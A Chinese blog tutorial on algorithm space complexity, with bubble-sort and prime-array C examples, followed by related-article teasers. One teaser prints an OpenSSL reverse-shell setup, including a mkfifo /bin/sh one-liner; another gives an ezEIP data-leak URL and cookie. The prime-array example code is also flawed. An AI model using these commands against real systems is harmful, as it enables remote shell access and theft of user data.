【数据结构】算法的空间复杂度
🦄个人主页:修修修也
🎏所属专栏:数据结构
⚙️操作环境:Visual Studio 2022
算法空间复杂度的定义
算法的时间复杂度和空间复杂度是度量算法好坏的两个重要量度,在实际写代码的过程中,我们完全可以用空间来换时间,比如说,我们要判断某某年是不是闰年,大家可能第一时间想到的都是写一个算法来判断每次输入的年份符不符合闰年的条件.但其实还有种方法是,我们可以事先建立一个有2050个元素的数组(年数比现实略多一点),然后把所有年份按下标数字对应,如果是闰年,此数组项的值设为1,否则设为0.这样,判断某年是否是闰年,就只需要查找一下对应数组项的值就可以了.这样求闰年的时间复杂度为O(1).既然空间复杂度这么好用,接下来我们就来一起学习它的基本内容吧.
上篇文章中我们一起探讨了算法的时间复杂度的相关知识,在这节我们将一起探讨算法的空间复杂度的相关知识.
先来看算法空间复杂度的定义:
算法的空间复杂度通过计算算法所需的存储空间实现,算法空间复杂度的计算公式记作:S(n)=O(f(n)).
其中,n为问题的规模,f(n)为语句关于n所占存储空间的函数.
通过上节对时间复杂度的分析可知,算法的时间复杂度不是用来计算程序具体耗时的,同样的,空间复杂度也不是用来计算程序实际占用的空间的.
空间复杂度是对一个算法在运行过程中临时占用存储空间大小的一个量度,同样反映的是一个趋势,我们用S(n)来定义.
空间复杂度计算规则基本跟时间复杂度类似,也使用大O渐近表示法.
注意:函数运行时所需要的栈空间(存储参数,局部变量,一些寄存器信息等)在编译期间已经确定好了,因此空间复杂度主要通过函数在运行时侯显示申请的额外空间来确定.
一般情况下,算法要占据的空间可以分为两部分:
- 算法本身要占据的空间,输入和输出,指令,常数,变量等.
- 算法要使用的辅助空间.
第一条大家应该很好理解,一个程序在机器上执行时,需要存储程序本身的指令,常数,变量和输入数据.
除此之外,还需要存储对数据操作的存储单元,对数据操作的存储单元即算法的辅助空间.
我们参照一个实际程序(冒泡排序函数)来理解一下这个概念:
//冒泡排序函数
void bubbleSort(int arr[], int n)
{for (int i = 0; i < n - 1; i++){for (int j = 0; j < n - i - 1; j++){if (arr[j] > arr[j + 1]){// 交换arr[j]和arr[j+1]int temp = arr[j]; //变量temp占据的空间就是辅助空间arr[j] = arr[j + 1];arr[j + 1] = temp;}}}
}
如上,在冒泡排序函数中,我们需要开辟一个整形变量temp,它占据4个字节,这4个字节的空间就是冒泡排序算法在运行过程中要使用的辅助空间.
至于其他的变量i,j或是数组arr,则都属于算法本身要占据的空间,即无论使不使用冒泡排序算法程序运行都要使用的空间.这部分空间不计入算法空间复杂度的度量.
常见的空间复杂度
📌常数阶
如果算法执行所需要的临时空间不随着某个变量n的大小而变化,即此算法空间复杂度为一个常量,可表示为O(1).
再拿上面的冒泡排序举例:
//冒泡排序函数
void bubbleSort(int arr[], int n)
{for (int i = 0; i < n - 1; i++){for (int j = 0; j < n - i - 1; j++){if (arr[j] > arr[j + 1]){// 交换arr[j]和arr[j+1]int temp = arr[j]; //变量temp每次进入if语句创建,出if语句销毁arr[j] = arr[j + 1];arr[j + 1] = temp;}}}
}
可以看到,算法在运行过程中,虽然会循环很多次交换arr[j]和arr[j+1]的操作,但在这过程中创建的变量temp每次都是进入if语句后被创建,出if语句后被销毁,因此即便创建temp的语句运行的次数随n的增大在不断变多,但其本质上用的都是同一块空间,不论n大小如何变化,temp占用的空间大小都不会变化,因此冒泡排序的空间复杂度为O(1).
📌线性阶
如果算法执行所需要的临时空间随着某个变量n的大小呈线性变化,即此算法空间复杂度为一个线性阶,可表示为O(n).
假设我们现在要求出从0开始的n个素数,将它们存储在数组arr中,代码如下:
int main()
{int i, j,k, flag;int n; int arr[n] = { 0 }; //仅作示例演示,正式编程时变量不能作为数组长度for (i = 0; k < n; i++){flag = 1;for (j = 2; j < i; j++){if (i % j == 0){flag = 0;break;}}if (flag == 1){arr[k] = i;k++;}}return 0;
}
在这个程序中我们就需要开辟长度为n的数组来存放我们求得的n个素数.显而易见,开辟的数组长度n是随着问题规模的n增长而增长的,且呈线性相关,因此该程序的空间复杂度为O(n).
常见的时间复杂度及其耗费空间排序
执行次数函数 | 阶 | 非正式术语 |
---|---|---|
5201314 | O(1) | 常数阶 |
2n+3 | O(n) | 线性阶 |
3n^2+2n+1 | O(n^2) | 平方阶 |
O(logn) | 对数阶 | |
O(nlogn) | nlogn阶 | |
6n^3+2n^2+3n+4 | O(n^3) | 立方阶 |
2^n | O(2^n) | 指数阶 |
常用的空间复杂度所耗费的空间从小到大依次是:
结语
当我们搞清楚算法的空间复杂度后,数据结构算法篇的内容就结束了,接下来我们将开启数据结构新的章节——线性表,在新章节中我们将一起学习如何实现顺序表,单链表,双链表,循环链表等相关知识.希望这些内容能对大家有所帮助,一起学习,一起进步!
相关文章推荐
【数据结构】什么是数据结构?
【数据结构】什么是算法?
【数据结构】算法效率的度量方法
【数据结构】算法的时间复杂度
【C语言】冒泡排序
【数据结构】什么是线性表?
......
数据结构算法篇思维导图:
相关文章:
【数据结构】算法的空间复杂度
🦄个人主页:修修修也 🎏所属专栏:数据结构 ⚙️操作环境:Visual Studio 2022 算法空间复杂度的定义 算法的时间复杂度和空间复杂度是度量算法好坏的两个重要量度,在实际写代码的过程中,我们完全可以用空间来换时间,比如说,我们要判断某某年是不是闰年,大…...
恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题
恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题 恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题为什么改变?恢复经典右键菜单 我是将军我一直都在,。! 恢复Windows 11经典右键菜单:一…...
Android:事件分发机制(二)
这篇主要是第一篇回顾之后,补充一些上一篇没写到的两个点。 第一个的切入点是这个。【处理层叠的view,想要执行下一层的view的点击事件】其背后的原理。 处理层叠的view,要执行下一层的view的点击事件 我们知道,方法是将上一层的…...
vue2时间处理插件——dayjs
在vue时间处理上有很多的方法和实现,可以自己实现,但是效率不高,所以,在框架开发中我们一般不会手写,一般是使用集成的第三方插件来解决我们的问题,在vue3中大家一般都使用Moment.js来处理,所以…...
软考 系统架构设计师系列知识点之软件质量属性(6)
接前一篇文章:软考 系统架构设计师系列知识点之软件质量属性(5) 所属章节: 第8章. 系统质量属性与架构评估 第2节. 面向架构评估的质量属性 相关试题 7. 某公司欲开发一个在线教育平台。在架构设计阶段,公司的架构师…...
Python6-wxPython库
Python6-wxPython库 1.wxPython库2.窗口程序2.1 简单的窗口程序2.2 自定义窗口类2.3 面板与静态文本2.4 事件处理 3.布局管理器3.1 盒子布局管理 4.控件4.1 文本输入框4.2 多选框与单选框4.3 列表控件4.4 静态图片 1.wxPython库 官方文档健全:https://docs.wxpytho…...
使用OpenSSL的反弹shell
1、攻击机生成证书: openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…...
竞赛选题 深度学习OCR中文识别 - opencv python
文章目录 0 前言1 课题背景2 实现效果3 文本区域检测网络-CTPN4 文本识别网络-CRNN5 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 **基于深度学习OCR中文识别系统 ** 该项目较为新颖,适合作为竞赛课题方向,…...
ezEIP信息泄露
漏洞描述 ezEIP存在信息泄露漏洞,通过遍历Cookie中的参数值获取敏感信息 漏洞复现 漏洞Url为 /label/member/getinfo.aspx访问时添加Cookie(通过遍历获取用户的登录名电话邮箱等信息) WHIR_USERINFORwhir_mem_member_pid1;漏洞证明&…...
02.机器学习原理(复习)
目录 机器学习的本质机器学习的类型Regression/回归Classification/分类Structured Learning/结构化学习 ML的三板斧设定范围设定标准监督学习半监督学习其他 达成目标小结达成目标设定标准设定范围 部分截图来自原课程视频《2023李宏毅最新生成式AI教程》,B站自行搜…...
电源集成INN3270C-H215-TL、INN3278C-H114-TL、INN3278C-H215-TL简化了反激式电源转换器的设计和制造。
一、概述 InnoSwitch™3-CP系列IC极大地简化了反激式电源转换器的设计和制造,特别是那些需要高效率和/或紧凑尺寸的产品。InnoSwitch3-CP系列将初级和次级控制器以及安全额定反馈集成到单个IC中。 InnoSwitch3-CP系列器件集成了多种保护功能,包括线路过…...
UE4和C++ 开发--HUD类
HUD 平视显示器(Head Up Display),简称HUD。在蓝图中是指在屏幕上面绘制的二维物体。 1. 创建HUD 打开蓝图编辑器,创建一个蓝图类,搜索HUD,选择并命名BP_HUD。 2. 开始绘制 打开事件列表,右键搜索 EventReceive Draw HUD。有两…...
使用js怎么设置视频背景
要使用JavaScript设置网页的视频背景,你需要将视频元素添加到你的HTML文档中,然后使用JavaScript来控制它 首先,在你的HTML文件中添加一个 <video> 元素 <video id"video-background" autoplay muted loop><sourc…...
Gin,Gorm实现Web计算器
目录 仓库链接0.PSP表格1. 成品展示1.基础运算2. 清零回退3.错误提示4.历史记录拓展功能1.前端可修改的利率计算器2.科学计算器3. 按钮切换不同计算器模式4.用户在一次运算后不清零继续输入操作符,替换表达式为上次答案 2.设计实现过程3.代码说明4.心路历程和收获 仓…...
11-网络篇-DNS步骤
1.URL URL就是我们常说的网址 https://www.baidu.com/?from1086k https是协议 m.baidu.com是服务器域名 ?from1086k是路径 2.域名 比如https://www.baidu.com 顶级域名.com 二级域名baidu 三级域名www 3.域名解析DNS DNS就是将域名转换成IP的过程 根域名服务器:…...
设计师都应该知道的事:极简主义家具该怎么去用
这座房子有黑暗而沉重的特征,包括棕色和白色的马赛克浴室瓷砖,弯曲的锻铁壁灯和土黄色的威尼斯石膏墙。但由于房屋与他们的风格相去甚远,白色,干净和简约,接下来我们就着这个方向去帮助房主进行改造。 她解释说&#x…...
设计模式02———建造者模式 c#
首先我们打开一个项目 在这个初始界面我们需要做一些准备工作 建基础通用包 创建一个Plane 重置后 缩放100倍 加一个颜色 更换天空盒(个人喜好) 任务:使用【UI】点击生成6种车零件组装不同类型车 【建造者模式】 首先资源商店下载车模型 将C…...
2023最新接口自动化测试面试题
1、get和post的区别? l http是上层请求协议,主要定义了服务端和客户端的交互规格,底层都是tcp/ip协议 l Get会把参数附在url之后,用?分割,&连接不同参数,Get获取资源,post会把…...
GaN器件的工作原理
目录 AlGaN/GaNHEMT 器件工作原理(常开-耗尽型器件)常关 AlGaN/GaN 功率晶体管(增强型器件)HD-GIT与SP-HEMT AlGaN/GaNHEMT 器件工作原理(常开-耗尽型器件) 来源:毫米波GaN基功率器件及MMIC电路…...
点云从入门到精通技术详解100篇-海量三维点云的空间索引及可视化应用(续)
目录 3.2.3 方向八叉树与八叉树的比较 3.3 多级索引结构 3.3.1 多级索引结构的构建...
androidx和v4包资源冲突解决方法
一、资源包会报如下错误: 错误类似 (androidx.core:core:1.10.0) 和 (com.android.support:support-compat:24.2.0) 表示资源重复,不知调用androidx包下面的,还是v4包下面的 Duplicate class android.support.v4.app.INotificationSideCha…...
【发烧期间随笔】第一次游戏开发经历的总结与反思
一、前言 这两天三阳了,头疼头晕恶心发烧打喷嚏流鼻涕咳嗽嗓子疼气管疼都找上门来了,这导致一周以来都没学什么东西,无意间又刷到各个游戏厂关于本人目标岗位HC骤减且要求造火箭的能力的消息,这两天一直是在病痛和焦虑中度过的&a…...
CCombBox组合框
1、 MFC_Combo_Box(组合框)的详细用法_mfc combo-CSDN博客 2、 常用属性设置: 属性 含义 data 设置内容,不同内容间用英文的分号“;”分隔 type 显示风格 Sort True 内容自动排序 常用接口: 接口 功能 CComboBox::AddString 组…...
机器学习-有监督学习-神经网络
目录 线性模型分类与回归感知机模型激活函数维度诅咒过拟合和欠拟合正则数据增强数值稳定性神经网络大家族CNNRNNGNN(图神经网络)GAN 线性模型 向量版本 y ⟨ w , x ⟩ b y \langle w, x \rangle b y⟨w,x⟩b 分类与回归 懂得两者区别激活函数&a…...
React之组件通信
#一、是什么 我们将组件间通信可以拆分为两个词: 组件通信 回顾Vue系列 (opens new window)的文章,组件是vue中最强大的功能之一,同样组件化是React的核心思想 相比vue,React的组件更加灵活和多样,按照不同的方式可…...
什么是微服务架构
阅读“微服务架构”一词可能会让您直观地了解该术语的含义:计算架构中的小型服务。这个定义并不完全错误,但也不完全正确。 微服务架构通常被称为“打破整体”的一种方式。遗憾的是,这与《2001:太空漫游》无关,而是将…...
<%=%>模板写法
<%%> 这种写法通常称为 "内嵌式模板" 或 "模板标记",在前端开发中,这种标记语法用于将动态数据嵌入HTML模板中。这种写法通常与模板引擎一起使用,这些模板引擎会根据提供的数据动态生成HTML。 不同的模板引擎可能…...
python爬取boss直聘数据(selenium+xpath)
文章目录 一、主要目标二、开发环境三、selenium安装和驱动下载四、主要思路五、代码展示和说明1、导入相关库2、启动浏览器3、搜索框定位创建csv文件招聘页面数据解析(XPATH)总代码效果展示 六、总结 一、主要目标 以boss直聘为目标网站,主要目的是爬取下图中的所…...
GEO生信数据挖掘(六)实践案例——四分类结核病基因数据预处理分析
前面五节,我们使用阿尔兹海默症数据做了一个数据预处理案例,包括如下内容: GEO生信数据挖掘(一)数据集下载和初步观察 GEO生信数据挖掘(二)下载基因芯片平台文件及注释 GEO生信数据挖掘&…...
8.Mobilenetv2网络代码实现
代码如下: import math import os import numpy as npimport torch import torch.nn as nn import torch.utils.model_zoo as model_zoo#1.建立带有bn的卷积网络 def conv_bn(inp, oup, stride):return nn.Sequential(nn.Conv2d(inp,oup,3,stride,biasFalse),nn.Bat…...
Spring Boot Controller
刚入门小白,详细请看这篇SpringBoot各种Controller写法_springboot controller-CSDN博客 Spring Boot 提供了Controller和RestController两种注解。 Controller 返回一个string,其内容就是指向的html文件名称。 Controller public class HelloControll…...
在网络安全、爬虫和HTTP协议中的重要性和应用
1. Socks5代理:保障多协议安全传输 Socks5代理是一种功能强大的代理协议,支持多种网络协议,包括HTTP、HTTPS和FTP。相比之下,Socks5代理提供了更高的安全性和功能性,包括: 多协议支持: Socks5代…...
Web测试框架SeleniumBase
首先,SeleniumBase支持 pip安装: > pip install seleniumbase它依赖的库比较多,包括pytest、nose这些第三方单元测试框架,是为更方便的运行测试用例,因为这两个测试框架是支持unittest测试用例的执行的。 Seleniu…...
jvm打破砂锅问到底- 为什么要标记或记录跨代引用
为什么要标记或记录跨代引用. ygc时, 直接把老年代引用的新生代对象(可能是对象区域)记录下来当做根, 这其实就是依据第二假说和第三假说, 强者恒强, 跨代引用少(存在互相引用关系的两个对象,是应该倾 向于同时生存或者同时消亡的). 拿ygc老年代跨代引用对象当做根…...
小程序长期订阅
准备工作 ::: tip 管理后台配置 小程序类目:住建(硬性要求) 功能-》订阅消息-》我的模版 申请模版:1、预约进度通知 2、申请结果通知 3、业务办理进度提醒 ::: 用户订阅一次后,可长期下发多条消息。目前长期性订阅…...
Studio One6.5中文版本版下载及功能介绍
Studio One是一款专业的音乐制作软件,由美国PreSonus公司开发。该软件提供了全面的音频编辑和混音功能,包括录制、编曲、合成、采样等多种工具,可用于制作各种类型的音乐,如流行音乐、电子音乐、摇滚乐等。 Studio One的主要特点…...
07-Zookeeper分布式一致性协议ZAB源码剖析
上一篇:06-Zookeeper选举Leader源码剖析 整个Zookeeper就是一个多节点分布式一致性算法的实现,底层采用的实现协议是ZAB。 1. ZAB协议介绍 ZAB 协议全称:Zookeeper Atomic Broadcast(Zookeeper 原子广播协议)。 Zook…...
云原生安全应用场景有哪些?
当今数字化时代,数据已经成为企业最宝贵的资产之一,而云计算作为企业数字化转型的关键技术,其安全性也日益受到重视。随着云计算技术的快速发展,云原生安全应用场景也越来越广泛,下面本文将从云原生安全应用场景出发&a…...
Step 1 搭建一个简单的渲染框架
Step 1 搭建一个简单的渲染框架 万事开头难。从萌生到自己到处看源码手抄一个mini engine出来的想法,到真正敲键盘去抄,转眼过去了很久的时间。这次大概的确是抱着认真的想法,打开VS从零开始抄代码。不知道能坚持多久呢。。。 本次的主题是搭…...
Excel 插入和提取超链接
构造超链接 HYPERLINK(D1,C1)提取超链接 Sheet页→右键→查看代码Sub link()Dim hl As HyperlinkFor Each hl In ActiveSheet.Hyperlinkshl.Range.Offset(0, 1).Value hl.AddressNext End Sub工具栏→运行→运行子过程→提取所有超链接地址参考: https://blog.cs…...
基础架构开发-操作系统、编译器、云原生、嵌入式、ic
基础架构开发-操作系统、编译器、云原生、嵌入式、ic 操作系统编译器词法分析AST语法树生成语法优化生成机器码 云原生容器开发一般遇到的岗位描述RDMA、DPDK是什么东西NFV和VNF是什么RisingWave云原生存储引擎开发实践 单片机、嵌入式雷达路线规划 ic开发 操作系统 以C和Rust…...
C++-Mongoose(3)-http-server-https-restful
1.url 结构 2.http和 http-restful区别在于对于mg_tls_opts的赋值 2.1 http和https 区分 a) port地址 static const char *s_http_addr "http://0.0.0.0:8000"; // HTTP port static const char *s_https_addr "https://0.0.0.0:8443"; // HTTP…...
git多分支、git远程仓库、ssh方式连接远程仓库、协同开发(避免冲突)、解决协同冲突(多人在同一分支开发、 合并分支)
1 git多分支 2 git远程仓库 2.1 普通开发者,使用流程 3 ssh方式连接远程仓库 4 协同开发 4.1 避免冲突 4.2 协同开发 5 解决协同冲突 5.1 多人在同一分支开发 5.2 合并分支 1 git多分支 ## 命令操作分支-1 创建分支git branch dev-2 查看分支git branch-3 分支合…...
ChatGPT或将引发现代知识体系转变
作为当下大语言模型的典型代表,ChatGPT对人类学习方式和教育发展所产生的变革效应已然引起了广泛关注。技术的快速发展在某种程度上正在“倒逼”教育领域开启更深层次的变革。在此背景下,教育从业者势必要学会准确识变、科学应变、主动求变、以变应变&am…...
【爬虫实战】用pyhon爬百度故事会专栏
一.爬虫需求 获取对应所有专栏数据;自动实现分页;多线程爬取;批量多账号爬取;保存到mysql、csv(本案例以mysql为例);保存数据时已存在就更新,无数据就添加; 二.最终效果…...
焦炭反应性及反应后强度试验方法
声明 本文是学习GB-T 4000-2017 焦炭反应性及反应后强度试验方法. 而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 7— 进气口; 8— 测温热电偶。 图 A.1 单点测温加热炉体结构示意图 A.3 温度控制装置 控制精度:(11003)℃。…...
链表(3):双链表
引入 我们之前学的单向链表有什么缺点呢? 缺点:后一个节点无法看到前一个节点的内容 那我们就多设置一个格子prev用来存放前面一个节点的地址,第一个节点的prev存最后一个节点的地址(一般是null) 这样一个无头双向…...
【TES720D】基于复旦微的FMQL20S400全国产化ARM核心模块
TES720D是一款基于上海复旦微电子FMQL20S400的全国产化核心模块。该核心模块将复旦微的FMQL20S400(兼容FMQL10S400)的最小系统集成在了一个50*70mm的核心板上,可以作为一个核心模块,进行功能性扩展,特别是用在控制领域…...
Python 列表切片陷阱:引用、复制与深复制
大家早好、午好、晚好吖 ❤ ~欢迎光临本文章 如果有什么疑惑/资料需要的可以点击文章末尾名片领取源码 Python 列表的切片和赋值操作很基础,之前也遇到过一些坑, 但今天刷 Codewars 时发现了一个更大的坑,故在此记录。 Python 列表赋值&am…...
macbook电脑删除app怎么才能彻底清理?
macBook是苹果公司推出的一款笔记本电脑,它的操作系统是macOS。在macBook上安装的app可能会占用大量的存储空间,因此,当我们不再需要某个app时,需要将其彻底删除。macbook删除app,怎么才能彻底呢?本文将给大…...